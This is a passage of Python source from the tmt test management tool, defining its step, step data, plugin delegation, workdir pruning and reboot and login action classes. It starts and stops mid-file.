order\n\n def enabled_on_guest(self, guest: 'Guest') -> bool:\n \"\"\" Phases are enabled across all guests by default \"\"\"\n return True\n\n @property\n def is_in_standalone_mode(self) -> bool:\n \"\"\"\n True if the phase is in stand-alone mode.\n\n Stand-alone mode means that only this phase should be run as a part\n of the run (and not any other even if requested using --all).\n This is useful as some plugin options may completely change its\n behaviour from the regular behaviour based on options\n (e.g. listing images inside a provision plugin).\n \"\"\"\n return False\n\n\n# A variable used to describe a generic type for all classes derived from Phase\nPhaseT = TypeVar('PhaseT', bound=Phase)\n\n# A type alias for plugin classes\nPluginClass = Type['BasePlugin']\n\n_RawStepData = TypedDict('_RawStepData', {\n 'how': str,\n 'name': str\n }, total=False)\n\nRawStepDataArgument = Union[_RawStepData, List[_RawStepData]]\n\n\nT = TypeVar('T', bound='StepData')\n\n\n@dataclasses.dataclass\nclass StepData(\n tmt.utils.SpecBasedContainer,\n tmt.utils.NormalizeKeysMixin,\n tmt.utils.SerializableContainer):\n \"\"\"\n Keys necessary to describe, create, save and restore a step.\n\n Very basic set of keys shared across all steps.\n\n Provides basic functionality for transition between \"raw\" step data, which\n consists of fmf nodes and CLI options, and this container representation with\n keys and types more suitable for internal use.\n\n Implementation expects simple 1:1 relation between ``StepData`` attributes - keys -\n and their fmf/CLI sources, where keys replace options' dashes (``-``) with\n underscores (``_``). For example, to hold value of an fmf key ``foo-bar`` - or\n value of a corresponding CLI option, ``--foo-bar``, a step data class should\n declare key named ``foo_data``. All ``StepData`` methods would honor this mapping.\n \"\"\"\n\n # TODO: we can easily add lists of keys for various verbosity levels...\n KEYS_SHOW_ORDER = ['name', 'how']\n\n name: str\n how: str\n order: int = tmt.utils.DEFAULT_PLUGIN_ORDER\n summary: Optional[str] = None\n\n # ignore[override]: expected, we do want to return more specific\n # type than the one declared in superclass.\n def to_spec(self) -> _RawStepData: # type: ignore[override]\n \"\"\" Convert to a form suitable for saving in a specification file \"\"\"\n\n return cast(_RawStepData, {\n tmt.utils.key_to_option(key): value\n for key, value in self.items()\n })\n\n @classmethod\n def pre_normalization(cls, raw_data: _RawStepData, logger: tmt.log.Logger) -> None:\n \"\"\" Called before normalization, useful for tweaking raw data \"\"\"\n\n logger.debug(f'{cls.__name__}: original raw data', str(raw_data), level=4)\n\n def post_normalization(self, raw_data: _RawStepData, logger: tmt.log.Logger) -> None:\n \"\"\" Called after normalization, useful for tweaking normalized data \"\"\"\n\n pass\n\n # ignore[override]: expected, we do want to accept more specific\n # type than the one declared in superclass.\n @classmethod\n def from_spec( # type: ignore[override]\n cls: Type[T],\n raw_data: _RawStepData,\n logger: tmt.log.Logger) -> T:\n \"\"\" Convert from a specification file or from a CLI option \"\"\"\n\n cls.pre_normalization(raw_data, logger)\n\n data = cls(name=raw_data['name'], how=raw_data['how'])\n data._load_keys(cast(Dict[str, Any], raw_data), cls.__name__, logger)\n\n data.post_normalization(raw_data, logger)\n\n return data\n\n\n@dataclasses.dataclass\nclass WhereableStepData:\n \"\"\"\n Keys shared by step data that may be limited to a particular guest.\n\n To be used as a mixin class, adds necessary keys.\n\n See [1] and [2] for specification.\n\n 1. https://tmt.readthedocs.io/en/stable/spec/plans.html#where\n 2. https://tmt.readthedocs.io/en/stable/spec/plans.html#spec-plans-prepare-where\n \"\"\"\n\n where: Optional[str] = None\n\n\nclass Step(tmt.utils.Common):\n \"\"\" Common parent of all test steps \"\"\"\n\n # Default implementation for all steps is \"shell\", but some\n # steps like provision may have better defaults for their\n # area of expertise.\n DEFAULT_HOW: str = 'shell'\n\n # Refers to a base class for all plugins registered with this step.\n _plugin_base_class: PluginClass\n\n #: Stores the normalized step data. Initialized first time step's `data`\n #: is accessed.\n #\n # The delayed initialization is necessary to support `how` changes via\n # command-line - code instantiating steps must be able to invalidate\n # and replace raw step data entries before they get normalized and become\n # the single source of information for plugins involved.\n _data: List[StepData]\n\n #: Stores the original raw step data. Initialized by :py:meth:`__init__`\n #: or :py:meth:`wake`, and serves as a source for normalization performed\n #: by :py:meth:`_normalize_data`.\n _raw_data: List[_RawStepData]\n\n # The step has pruning capability to remove all irrelevant files. All\n # important files located in workdir should be specified in the list below\n # to avoid deletion during pruning.\n _preserved_files: List[str] = ['step.yaml']\n\n def __init__(\n self,\n *,\n plan: 'Plan',\n data: Optional[RawStepDataArgument] = None,\n name: Optional[str] = None,\n workdir: tmt.utils.WorkdirArgumentType = None,\n logger: tmt.log.Logger) -> None:\n \"\"\" Initialize and check the step data \"\"\"\n logger.apply_verbosity_options(**self.__class__._options)\n\n super().__init__(name=name, parent=plan, workdir=workdir, logger=logger)\n\n # Initialize data\n self.plan: 'Plan' = plan\n self._status: Optional[str] = None\n self._phases: List[Phase] = []\n\n # Normalize raw data to be a list of step configuration data, one item per\n # distinct step configuration. Make sure all items have `name`` and `how` keys.\n #\n # NOTE: this is not a normalization step as performed by NormalizeKeysMixin.\n # Here we make sure the raw data can be consumed by the delegation code, we\n # do not modify any existing content of raw data items.\n\n # Create an empty step by default (can be updated from cli)\n if data is None:\n self._raw_data = [{}]\n\n # Convert to list if only a single config provided\n elif isinstance(data, dict):\n self._raw_data = [data]\n\n # List is as good as it gets\n elif isinstance(data, list):\n self._raw_data = data\n\n # Shout about invalid configuration\n else:\n raise tmt.utils.GeneralError(\n f\"Invalid '{self}' config in '{self.plan}'.\")\n\n for i, raw_datum in enumerate(self._raw_data):\n # Add default unique names even to multiple configs so that the users\n # don't need to specify it if they don't care about the name\n if raw_datum.get('name', None) is None:\n raw_datum['name'] = f'{tmt.utils.DEFAULT_NAME}-{i}'\n\n # Set 'how' to the default if not specified\n if raw_datum.get('how', None) is None:\n raw_datum['how'] = self.DEFAULT_HOW\n\n def _normalize_data(\n self,\n raw_data: List[_RawStepData],\n logger: tmt.log.Logger) -> List[StepData]:\n \"\"\"\n Normalize step data entries.\n\n Every entry of ``raw_data`` is converted into an instance of\n :py:class:`StepData` or one of its subclasses. Particular class\n is derived from a plugin identified by raw data's ``how`` field\n and step's plugin registry.\n \"\"\"\n\n data: List[StepData] = []\n\n for raw_datum in raw_data:\n plugin = self._plugin_base_class.delegate(self, raw_data=raw_datum)\n\n data.append(plugin.data)\n\n return data\n\n @property\n def data(self) -> List[StepData]:\n if not hasattr(self, '_data'):\n self._data = self._normalize_data(self._raw_data, self._logger)\n\n return self._data\n\n @data.setter\n def data(self, data: List[StepData]) -> None:\n self._data = data\n\n @property\n def enabled(self) -> Optional[bool]:\n \"\"\" True if the step is enabled \"\"\"\n if self.plan.my_run is None or self.plan.my_run._context_object is None:\n return None\n\n return self.name in self.plan.my_run._context_object.steps\n\n @property\n def plugins_in_standalone_mode(self) -> int:\n \"\"\"\n The number of plugins in standalone mode.\n\n Stand-alone mode means that only this step should be run as a part\n of the run (and not any other even if requested using --all).\n This is useful as some step options may completely change its\n behaviour from the regular behaviour based on options\n (e.g. listing images inside provision).\n \"\"\"\n return sum(phase.is_in_standalone_mode for phase in self.phases())\n\n @classmethod\n def usage(cls, method_overview: str) -> str:\n \"\"\" Prepare general usage message for the step \"\"\"\n # Main description comes from the class docstring\n if cls.__name__ is None:\n raise tmt.utils.GeneralError(\"Missing name of the step.\")\n\n if cls.__doc__ is None:\n raise tmt.utils.GeneralError(\n f\"Missing docstring of the step {cls.__name__.lower()}.\")\n\n usage = textwrap.dedent(cls.__doc__)\n # Append the list of supported methods\n usage += '\\n\\n' + method_overview\n # Give a hint about detailed help\n name = cls.__name__.lower()\n usage += (\n f\"\\n\\nUse 'tmt run {name} --help --how <method>' to learn more \"\n f\"about given {name} method and all its supported options.\")\n return usage\n\n def status(self, status: Optional[str] = None) -> Optional[str]:\n \"\"\"\n Get and set current step status\n\n The meaning of the status is as follows:\n todo ... config, data and command line processed (we know what to do)\n done ... the final result of the step stored to workdir (we are done)\n \"\"\"\n # Update status\n if status is not None:\n # Check for valid values\n if status not in ['todo', 'done']:\n raise tmt.utils.GeneralError(f\"Invalid status '{status}'.\")\n # Show status only if changed\n elif self._status != status:\n self._status = status\n self.debug('status', status, color='yellow', level=2)\n # Return status\n return self._status\n\n def show(self) -> None:\n \"\"\" Show step details \"\"\"\n\n for data in self.data:\n self._plugin_base_class.delegate(self, data=data).show()\n\n def load(self) -> None:\n \"\"\" Load status and step data from the workdir \"\"\"\n try:\n raw_step_data: Dict[Any, Any] = tmt.utils.yaml_to_dict(self.read(Path('step.yaml')))\n self.debug('Successfully loaded step data.', level=2)\n\n self.data = [\n StepData.unserialize(raw_datum) for raw_datum in raw_step_data['data']\n ]\n self.status(raw_step_data['status'])\n except tmt.utils.GeneralError:\n self.debug('Step data not found.', level=2)\n\n def save(self) -> None:\n \"\"\" Save status and step data to the workdir \"\"\"\n content: Dict[str, Any] = {\n 'status': self.status(),\n 'data': [datum.to_serialized() for datum in self.data]\n }\n self.write(Path('step.yaml'), tmt.utils.dict_to_yaml(content))\n\n def wake(self) -> None:\n \"\"\" Wake up the step (process workdir and command line) \"\"\"\n # Cleanup possible old workdir if called with --force\n if self.opt('force'):\n self._workdir_cleanup()\n\n # Load stored data\n self.load()\n\n # Status 'todo' means the step has not finished successfully.\n # Probably interrupted in the middle. Clean up the work\n # directory to give it another chance with a fresh start.\n if self.status() == 'todo':\n self.debug(\"Step has not finished. Let's try once more!\", level=2)\n self._workdir_cleanup()\n\n # Importing here to avoid circular imports\n import tmt.steps.report\n\n # Special handling for the report step to always enable force mode in\n # order to cover a very frequent use case 'tmt run --last report'\n # FIXME find a better way how to enable always-force per plugin\n if (isinstance(self, tmt.steps.report.Report) and\n self.data[0].how in ['display', 'html']):\n self.debug(\"Report step always force mode enabled.\")\n self._workdir_cleanup()\n self.status('todo')\n\n # Nothing more to do when the step is already done\n if self.status() == 'done':\n self.debug('Step is done, not touching its data.')\n return\n\n # Override step data with command line options\n how: str = self.opt('how')\n if how is not None:\n # If 'how' has been given, when it comes to current entries in `self.data`,\n # there are two options:\n #\n # * entry's `how` is the same as the one given via command-line. Then we can\n # keep step data we already have.\n # * entry's `how` is different, and then we need to throw the entry away and\n # replace it with new `how`.\n #\n # To handle both variants, we replace `self.data` with new set of entries,\n # based on newly constructed set of raw data.\n self.debug(f'CLI-provided how={how} overrides all existing step data', level=4)\n\n _raw_data: List[_RawStepData] = []\n\n # Do NOT iterate over `self.data`: reading `self.data` would trigger materialization\n # of its content, calling plugins owning various raw step data to create corresponding\n # `StepData` instances. That is actually harmful, as plugins that might be explicitly\n # overriden by `--how` option, would run, with unexpected side-effects.\n # Instead, iterate over raw data, and replace incompatible plugins with the one given\n # on command line. There is no reason to ever let dropped plugin's `StepData` to\n # materialize when it's going to be thrown away anyway.\n for raw_datum in self._raw_data:\n # We can re-use this one - to make handling easier, just dump it to \"raw\"\n # form for _normalize_data().\n if raw_datum['how'] == how:\n self.debug(f' compatible step data: {raw_datum}', level=4)\n _raw_data.append(raw_datum)\n\n # Mismatch, throwing away, replacing with new `how` - but we can keep the name.\n else:\n self.debug(f' incompatible step data: {raw_datum}', level=4)\n _raw_data.append({\n 'name': raw_datum['name'],\n 'how': how\n })\n\n self.data = self._normalize_data(_raw_data, self._logger)\n self._raw_data = _raw_data\n\n self.debug('updated data', str(self.data), level=4)\n\n else:\n self.debug('CLI did not change existing step data', level=4)\n\n def setup_actions(self) -> None:\n \"\"\" Insert login and reboot plugins if requested \"\"\"\n for login_plugin in Login.plugins(step=self):\n self.debug(\n f\"Insert a login plugin into the '{self}' step \"\n f\"with order '{login_plugin.order}'.\", level=2)\n self._phases.append(login_plugin)\n\n for reboot_plugin in Reboot.plugins(step=self):\n self.debug(\n f\"Insert a reboot plugin into the '{self}' step \"\n f\"with order '{reboot_plugin.order}'.\", level=2)\n self._phases.append(reboot_plugin)\n\n @overload\n def phases(self, classes: None = None) -> List[Phase]:\n pass\n\n @overload\n def phases(self, classes: Type[PhaseT]) -> List[PhaseT]:\n pass\n\n @overload\n def phases(self, classes: Tuple[Type[PhaseT], ...]) -> List[PhaseT]:\n pass\n\n def phases(self, classes: Optional[Union[Type[PhaseT],\n Tuple[Type[PhaseT], ...]]] = None) -> List[PhaseT]:\n \"\"\"\n Iterate over phases by their order\n\n By default iterates over all available phases. Optional filter\n 'classes' can be used to iterate only over instances of given\n class (single class or tuple of classes).\n \"\"\"\n\n if classes is None:\n _classes: Tuple[Union[Type[Phase], Type[PhaseT]], ...] = (Phase,)\n\n elif not isinstance(classes, tuple):\n _classes = (classes,)\n\n else:\n _classes = classes\n\n return sorted(\n [cast(PhaseT, phase) for phase in self._phases if isinstance(phase, _classes)],\n key=lambda phase: phase.order)\n\n def actions(self) -> None:\n \"\"\" Run all loaded Login or Reboot action instances of the step \"\"\"\n for phase in self.phases(classes=Action):\n phase.go()\n\n def go(self) -> None:\n \"\"\" Execute the test step \"\"\"\n # Show step header and how\n self.info(self.name, color='blue')\n # Show workdir in verbose mode\n if self.workdir:\n self.debug('workdir', str(self.workdir), 'magenta')\n\n def prune(self) -> None:\n \"\"\" Remove all uninteresting files from the step workdir \"\"\"\n if self.workdir is None:\n return\n self.debug(f\"Prune workdir '{self.workdir}'.\", level=3, shift=1)\n\n # Do not prune plugin workdirs, each plugin decides what should\n # be pruned from the workdir and what should be kept there\n plugins = self.phases(classes=BasePlugin)\n plugin_workdirs = []\n for plugin in plugins:\n if plugin.workdir is not None:\n plugin_workdirs.append(os.path.basename(plugin.workdir))\n plugin.prune()\n\n # Prune everything except for the preserved files\n preserved_files = self._preserved_files + plugin_workdirs\n for file in os.listdir(self.workdir):\n if file in preserved_files:\n continue\n full_path = os.path.join(self.workdir, file)\n self.debug(f\"Remove '{full_path}'.\", level=3, shift=1)\n try:\n if os.path.isfile(full_path) or os.path.islink(full_path):\n os.remove(full_path)\n else:\n shutil.rmtree(full_path)\n except OSError as error:\n self.warn(f\"Unable to remove '{full_path}': {error}\", shift=1)\n\n\nclass Method:\n \"\"\" Step implementation method \"\"\"\n\n def __init__(\n self,\n name: str,\n class_: Optional[PluginClass] = None,\n doc: Optional[str] = None,\n order: int = DEFAULT_PLUGIN_METHOD_ORDER\n ) -> None:\n \"\"\" Store method data \"\"\"\n\n doc = (doc or getattr(class_, '__doc__') or '').strip()\n\n if not doc:\n if class_:\n raise tmt.utils.GeneralError(f\"Plugin class '{class_}' provides no docstring.\")\n\n raise tmt.utils.GeneralError(f\"Plugin method '{name}' provides no docstring.\")\n\n self.name = name\n self.class_ = class_\n self.doc = doc\n self.order = order\n\n # Parse summary and description from provided doc string\n lines: List[str] = [re.sub('^ ', '', line)\n for line in self.doc.split('\\n')]\n self.summary: str = lines[0].strip()\n self.description: str = '\\n'.join(lines[1:]).lstrip()\n\n def describe(self) -> str:\n \"\"\" Format name and summary for a nice method overview \"\"\"\n return f'{self.name} '.ljust(22, '.') + f' {self.summary}'\n\n def usage(self) -> str:\n \"\"\" Prepare a detailed usage from summary and description \"\"\"\n if self.description:\n usage: str = self.summary + '\\n\\n' + self.description\n else:\n usage = self.summary\n # Disable wrapping for all paragraphs\n return re.sub('\\n\\n', '\\n\\n\\b\\n', usage)\n\n\ndef provides_method(\n name: str,\n doc: Optional[str] = None,\n order: int = DEFAULT_PLUGIN_METHOD_ORDER) -> Callable[[PluginClass], PluginClass]:\n \"\"\"\n A plugin class decorator to register plugin's method with tmt steps.\n\n In the following example, developer marks ``SomePlugin`` as providing two discover methods,\n ``foo`` and ``bar``, with ``bar`` being sorted to later position among methods:\n\n .. code-block:: python\n\n @tmt.steps.provides_method('foo')\n @tmt.steps.provides_method('bar', order=80)\n class SomePlugin(tmt.steps.discover.DicoverPlugin):\n ...\n\n :param name: name of the method.\n :param doc: method documentation. If not specified, docstring of the decorated class is used.\n :param order: order of the method among other step methods.\n \"\"\"\n\n def _method(cls: PluginClass) -> PluginClass:\n plugin_method = Method(name, class_=cls, doc=doc, order=order)\n\n # FIXME: make sure cls.__bases__[0] is really BasePlugin class\n cast('BasePlugin', cls.__bases__[0])._supported_methods.append(plugin_method)\n\n return cls\n\n return _method\n\n\nclass BasePlugin(Phase):\n \"\"\" Common parent of all step plugins \"\"\"\n\n # Deprecated, use @provides_method(...) instead. left for backward\n # compatibility with out-of-tree plugins.\n _methods: List[Method] = []\n\n # Default implementation for all steps is shell\n # except for provision (virtual) and report (display)\n how: str = 'shell'\n\n # List of all supported methods aggregated from all plugins of the same step.\n _supported_methods: List[Method] = []\n\n _data_class: Type[StepData] = StepData\n data: StepData\n\n # TODO: do we need this list? Can whatever code is using it use _data_class directly?\n # List of supported keys\n # (used for import/export to/from attributes during load and save)\n @property\n def _keys(self) -> List[str]:\n return list(self._data_class.keys())\n\n def __init__(\n self,\n *,\n step: Step,\n data: StepData,\n workdir: tmt.utils.WorkdirArgumentType = None,\n logger: tmt.log.Logger) -> None:\n \"\"\" Store plugin name, data and parent step \"\"\"\n logger.apply_verbosity_options(**self.__class__._options)\n\n # Store name, data and parent step\n super().__init__(\n logger=logger,\n parent=step,\n name=data.name,\n workdir=workdir,\n order=data.order)\n\n # It is not possible to use TypedDict here because\n # all keys are not known at the time of the class definition\n self.data = data\n self.step = step\n\n @classmethod\n def base_command(\n cls,\n usage: str,\n method_class: Optional[Type[click.Command]] = None) -> click.Command:\n \"\"\" Create base click command (common for all step plugins) \"\"\"\n raise NotImplementedError\n\n @classmethod\n def options(cls, how: Optional[str] = None) -> List[tmt.options.ClickOptionDecoratorType]:\n \"\"\" Prepare command line options for given method \"\"\"\n # Include common options supported across all plugins\n return [\n metadata.option\n for metadata in (\n tmt.utils.dataclass_field_metadata(field)\n for field in dataclasses.fields(cls._data_class)\n )\n if metadata.option is not None\n ] + tmt.options.VERBOSITY_OPTIONS + tmt.options.FORCE_DRY_OPTIONS\n\n @classmethod\n def command(cls) -> click.Command:\n \"\"\" Prepare click command for all supported methods \"\"\"\n # Create one command for each supported method\n commands: Dict[str, click.Command] = {}\n method_overview: str = f'Supported methods ({cls.how} by default):\\n\\n\\b'\n for method in cls.methods():\n assert method.class_ is not None\n method_overview += f'\\n{method.describe()}'\n command: click.Command = cls.base_command(usage=method.usage())\n # Apply plugin specific options\n for option in method.class_.options(method.name):\n command = option(command)\n commands[method.name] = command\n\n # Create base command with common options using method class\n method_class = tmt.options.create_method_class(commands)\n command = cls.base_command(usage=method_overview, method_class=method_class)\n # Apply common options\n for option in cls.options():\n command = option(command)\n return command\n\n @classmethod\n def methods(cls) -> List[Method]:\n \"\"\" Return all supported methods ordered by priority \"\"\"\n return sorted(cls._supported_methods, key=lambda method: method.order)\n\n @classmethod\n def delegate(\n cls,\n step: Step,\n data: Optional[StepData] = None,\n raw_data: Optional[_RawStepData] = None) -> 'BasePlugin':\n \"\"\"\n Return plugin instance implementing the data['how'] method\n\n Supports searching by method prefix as well (e.g. 'virtual').\n The first matching method with the lowest 'order' wins.\n \"\"\"\n\n if data is not None:\n how = data.how\n elif raw_data is not None:\n how = raw_data['how']\n else:\n raise tmt.utils.GeneralError('Either data or raw data must be given.')\n\n step.debug(\n f'{cls.__name__}.delegate(step={step}, data={data}, raw_data={raw_data})',\n level=3)\n\n # Filter matching methods, pick the one with the lowest order\n for method in cls.methods():\n assert method.class_ is not None\n if method.name.startswith(how):\n step.debug(\n f\"Using the '{method.class_.__name__}' plugin \"\n f\"for the '{how}' method.\", level=2)\n\n plugin_class = method.class_\n plugin_data_class = plugin_class._data_class\n\n # If we're given raw data, construct a step data instance, applying\n # normalization in the process.\n if raw_data is not None:\n try:\n data = plugin_data_class.from_spec(raw_data, step._logger)\n\n except Exception as exc:\n raise tmt.utils.GeneralError(\n f'Failed to load step data for {plugin_data_class.__name__}: {exc}') \\\n from exc\n\n assert data is not None\n assert data.__class__ is plugin_data_class, \\\n f'Data package is instance of {data.__class__.__name__}, ' \\\n f'plugin {plugin_class.__name__} ' \\\n f'expects {plugin_data_class.__name__}'\n\n plugin = plugin_class(\n logger=step._logger.descend(logger_name=None),\n step=step,\n data=data\n )\n assert isinstance(plugin, BasePlugin)\n return plugin\n\n show_step_method_hints(step, step.name, how)\n # Report invalid method\n if step.plan is None:\n raise tmt.utils.GeneralError(f\"Plan for {step.name} is not set.\")\n raise tmt.utils.SpecificationError(\n f\"Unsupported {step.name} method '{how}' \"\n f\"in the '{step.plan.name}' plan.\")\n\n def default(self, option: str, default: Optional[Any] = None) -> Any:\n \"\"\" Return default data for given option \"\"\"\n\n value = self._data_class.default(tmt.utils.option_to_key(option), default=default)\n\n if value is None:\n return default\n\n return value\n\n def get(self, option: str, default: Optional[Any] = None) -> Any:\n \"\"\" Get option from plugin data, user/system config or defaults \"\"\"\n\n # Check plugin data first\n #\n # Since self.data is a dataclass instance, the option would probably exist.\n # As long as there's no typo in name, it would be defined. Which complicates\n # the handling of \"default\" as in \"return *this* when attribute is unset\".\n key = tmt.utils.option_to_key(option)\n\n try:\n value = getattr(self.data, key)\n\n # If the value is no longer the default one, return the value. If it\n # still matches the default value, instead of returning the default\n # value right away, call `self.default()` so the plugin has chance to\n # catch calls for computed or virtual keys, keys that don't exist as\n # atributes of our step data.\n #\n # One way would be to subclass step's base plugin class' step data class\n # (which is a subclass of `StepData` and `SerializedContainer`), and\n # override its `default()` method to handle these keys. But, plugins often\n # are pretty happy with the base data class, many don't need their own\n # step data class, and plugin developer might be forced to create a subclass\n # just for this single method override.\n #\n # Instead, keep plugin's `default()` around - everyone can use it to get\n # default value for a given option/key, and plugins can override it as needed\n # (they will always subclass step's base plugin class anyway!). Default\n # implementation would delegate to step data `default()`, and everyone's\n # happy.\n\n if value != self.data.default(key):\n return value\n\n except AttributeError:\n pass\n\n return self.default(option, default)\n\n def show(self, keys: Optional[List[str]] = None) -> None:\n \"\"\" Show plugin details for given or all available keys \"\"\"\n # Avoid circular imports\n import tmt.base\n\n # Show empty config with default method only in verbose mode\n if self.data.is_bare and not self.opt('verbose'):\n return\n # Step name (and optional summary)\n echo(tmt.utils.format(\n self.step.name, self.get('summary') or '',\n key_color='blue', value_color='blue'))\n # Show all or requested step attributes\n if keys is None:\n keys = list(set(self.data.keys()))\n\n def _emit_key(key: str) -> None:\n # Skip showing the default name\n if key == 'name' and self.name.startswith(tmt.utils.DEFAULT_NAME):\n return\n\n # Skip showing summary again\n if key == 'summary':\n return\n\n value = self.get(key)\n\n # No need to show the default order\n if key == 'order' and value == tmt.base.DEFAULT_ORDER:\n return\n\n if value is None:\n return\n\n # TODO: hides keys that were used to be in the output...\n # if value == self.data.default(key):\n # return\n\n echo(tmt.utils.format(tmt.utils.key_to_option(key), value))\n\n # First, follow the order prefered by step data, but emit only the keys\n # that are allowed. Each emitted key would be removed so we wouldn't\n # emit it again when showing the unsorted rest of keys.\n for key in self.data.KEYS_SHOW_ORDER:\n if key not in keys:\n continue\n\n _emit_key(key)\n\n keys.remove(key)\n\n # Show the rest\n for key in keys:\n _emit_key(key)\n\n def enabled_on_guest(self, guest: 'Guest') -> bool:\n \"\"\" Check if the plugin is enabled on the specific guest \"\"\"\n where: str = self.get('where')\n if not where:\n return True\n return where in (guest.name, guest.role)\n\n def _update_data_from_options(self, keys: Optional[List[str]] = None) -> None:\n \"\"\"\n Update plugin data with values provided by CLI options.\n\n Called by the plugin wake-up mechanism to allow CLI options to take an\n effect.\n\n :param keys: if specified, only the listed keys would be affected.\n \"\"\"\n\n keys = keys or list(self.data.keys())\n\n for keyname in keys:\n value = self.opt(tmt.utils.key_to_option(keyname))\n\n # TODO: this test is incorrect. It should not test for false-ish values,\n # but rather check whether the value returned by `self.opt()` is or is\n # not option default. And that's apparently not trivial with current CLI\n # handling.\n if value is None or value == [] or value == () or value is False:\n continue\n\n tmt.utils.dataclass_normalize_field(self.data, keyname, value, self._logger)\n\n def wake(self) -> None:\n \"\"\"\n Wake up the plugin, process data, apply options\n\n Check command line options corresponding to plugin keys\n and store their value into the 'self.data' dictionary if\n their value is True or non-empty.\n\n By default, all supported options corresponding to common\n and plugin-specific keys are processed. List of key names\n in the 'keys' parameter can be used to override only\n selected ones.\n \"\"\"\n\n assert self.data.__class__ is self._data_class, \\\n f'Plugin {self.__class__.__name__} woken with incompatible ' \\\n f'data {self.data}, ' \\\n f'expects {self._data_class.__name__}'\n\n if self.step.status() == 'done':\n self.debug('step is done, not overwriting plugin data')\n return\n\n # TODO: conflicts with `upgrade` plugin which does this on purpose :/\n # if self.opt('how') is not None:\n # assert self.opt('how') in [method.name for method in self.methods()], \\\n # f'Plugin {self.__class__.__name__} woken with unsupported ' \\\n # f'how \"{self.opt(\"how\")}\", ' \\\n # f'supported methods {\", \".join([method.name for method in self.methods()])}, ' \\\n # f'current data is {self.data}'\n\n self._update_data_from_options()\n\n # NOTE: it's tempting to rename this method to `go()` and use more natural\n # `super().go()` in child classes' `go()` methods. But, `go()` does not have\n # the same signature across all plugin types, therefore we cannot have shared\n # `go()` method in superclass - overriding it in (some) child classes would\n # raise a typing linter error reporting superclass signature differs from the\n # one in a subclass.\n #\n # Therefore we need a different name, and a way how not to forget to call this\n # method from child classes.\n def go_prolog(self, logger: tmt.log.Logger) -> None:\n \"\"\" Perform actions shared among plugins when beginning their tasks \"\"\"\n # Show the method\n logger.info('how', self.get('how'), 'magenta')\n # Give summary if provided\n if self.get('summary'):\n logger.info('summary', self.get('summary'), 'magenta')\n # Show name only if it's not the default one\n if not self.name.startswith(tmt.utils.DEFAULT_NAME):\n logger.info('name', self.name, 'magenta')\n # Include order in verbose mode\n logger.verbose('order', str(self.order), 'magenta', level=3)\n\n def requires(self) -> List[str]:\n \"\"\" List of packages required by the plugin on the guest \"\"\"\n return []\n\n def prune(self) -> None:\n \"\"\"\n Prune uninteresting files from the plugin workdir\n\n By default we remove the whole workdir. Individual plugins can\n override this method to keep files and directories which are\n useful for inspection when the run is finished.\n \"\"\"\n if self.workdir is None:\n return\n self.debug(f\"Remove plugin workdir '{self.workdir}'.\", level=3)\n try:\n shutil.rmtree(self.workdir)\n except OSError as error:\n self.warn(f\"Unable to remove '{self.workdir}': {error}\")\n\n\nclass GuestlessPlugin(BasePlugin):\n \"\"\" Common parent of all step plugins that do not work against a particular guest \"\"\"\n\n def go(self) -> None:\n \"\"\" Perform actions shared among plugins when beginning their tasks \"\"\"\n\n self.go_prolog(self._logger)\n\n\nclass Plugin(BasePlugin):\n \"\"\" Common parent of all step plugins that do work against a particular guest \"\"\"\n\n def go(\n self,\n *,\n guest: 'Guest',\n environment: Optional[tmt.utils.EnvironmentType] = None,\n logger: tmt.log.Logger) -> None:\n \"\"\" Perform actions shared among plugins when beginning their tasks \"\"\"\n\n self.go_prolog(logger)\n\n\nclass Action(Phase):\n \"\"\" A special action performed during a normal step. \"\"\"\n\n # Dictionary containing list of requested phases for each enabled step\n _phases: Optional[Dict[str, List[int]]] = None\n\n @classmethod\n def phases(cls, step: Step) -> List[int]:\n \"\"\" Return list of phases enabled for given step \"\"\"\n # Build the phase list unless done before\n if cls._phases is None:\n cls._phases = cls._parse_phases(step)\n # Return enabled phases, empty list if step not found\n try:\n return cls._phases[step.name]\n except KeyError:\n return []\n\n @classmethod\n def _parse_phases(cls, step: Step) -> Dict[str, List[int]]:\n \"\"\" Parse options and store phase order \"\"\"\n phases = dict()\n options: List[str] = cls._opt('step', default=[])\n\n # Use the end of the last enabled step if no --step given\n if not options:\n login_during: Optional[Step] = None\n # The last run may have failed before all enabled steps were\n # completed, select the last step done\n if step.plan is None:\n raise tmt.utils.GeneralError(\n f\"Plan for {step.name} is not set.\")\n assert step.plan.my_run is not None # narrow type\n if step.plan.my_run.opt('last'):\n steps: List[Step] = [\n s for s in step.plan.steps() if s.status() == 'done']\n login_during = steps[-1] if steps else None\n # Default to the last enabled step if no completed step found\n if login_during is None:\n login_during = list(step.plan.steps())[-1]\n # Only login if the error occurred after provision\n if login_during != step.plan.discover:\n phases[login_during.name] = [PHASE_END]\n\n # Process provided options\n for option in options:\n # Parse the step:phase format\n matched = re.match(r'(\\w+)(:(\\w+))?', option)\n if matched:\n step_name, _, phase = matched.groups()\n if not matched or step_name not in STEPS:\n raise tmt.utils.GeneralError(f\"Invalid step '{option}'.\")\n # Check phase format, convert into int, use end by default\n try:\n phase = int(phase)\n except TypeError:\n phase = PHASE_END\n except ValueError:\n # Convert 'start' and 'end' aliases\n try:\n phase = cast(Dict[str, int],\n dict(start=PHASE_START, end=PHASE_END))[phase]\n except KeyError:\n raise tmt.utils.GeneralError(f\"Invalid phase '{phase}'.\")\n # Store the phase for given step\n try:\n phases[step_name].append(phase)\n except KeyError:\n phases[step_name] = [phase]\n return phases\n\n def go(self) -> None:\n raise NotImplementedError()\n\n\nclass Reboot(Action):\n \"\"\" Reboot guest \"\"\"\n\n # True if reboot enabled\n _enabled: bool = False\n\n def __init__(self, *, step: Step, order: int, logger: tmt.log.Logger) -> None:\n \"\"\" Initialize relations, store the reboot order \"\"\"\n super().__init__(logger=logger, parent=step, name='reboot', order=order)\n\n @classmethod\n def command(\n cls,\n method_class: Optional[Method] = None,\n usage: Optional[str] = None) -> click.Command:\n \"\"\" Create the reboot command \"\"\"\n @click.command()\n @click.pass_context\n @click.option(\n '-s', '--step', metavar='STEP[:PHASE]', multiple=True,\n help='Reboot machine during given phase of selected step(s).')\n @click.option(\n '--hard', is_flag=True,\n help='Hard reboot of the machine. Unsaved data may be lost.')\n def reboot(context: 'tmt.cli.Context', **kwargs: Any) -> None:\n \"\"\" Reboot the guest. \"\"\"\n Reboot._save_context(context)\n Reboot._enabled = True\n\n return reboot\n\n @classmethod\n def plugins(cls, step: Step) -> List['Reboot']:\n \"\"\" Return list of reboot instances for given step \"\"\"\n if not Reboot._enabled:\n return []\n return [Reboot(logger=step._logger.descend(), step=step, order=phase)\n for phase in cls.phases(step)]\n\n def go(self) -> None:\n \"\"\" Reboot the guest(s) \"\"\"\n self.info('reboot', 'Rebooting guest', 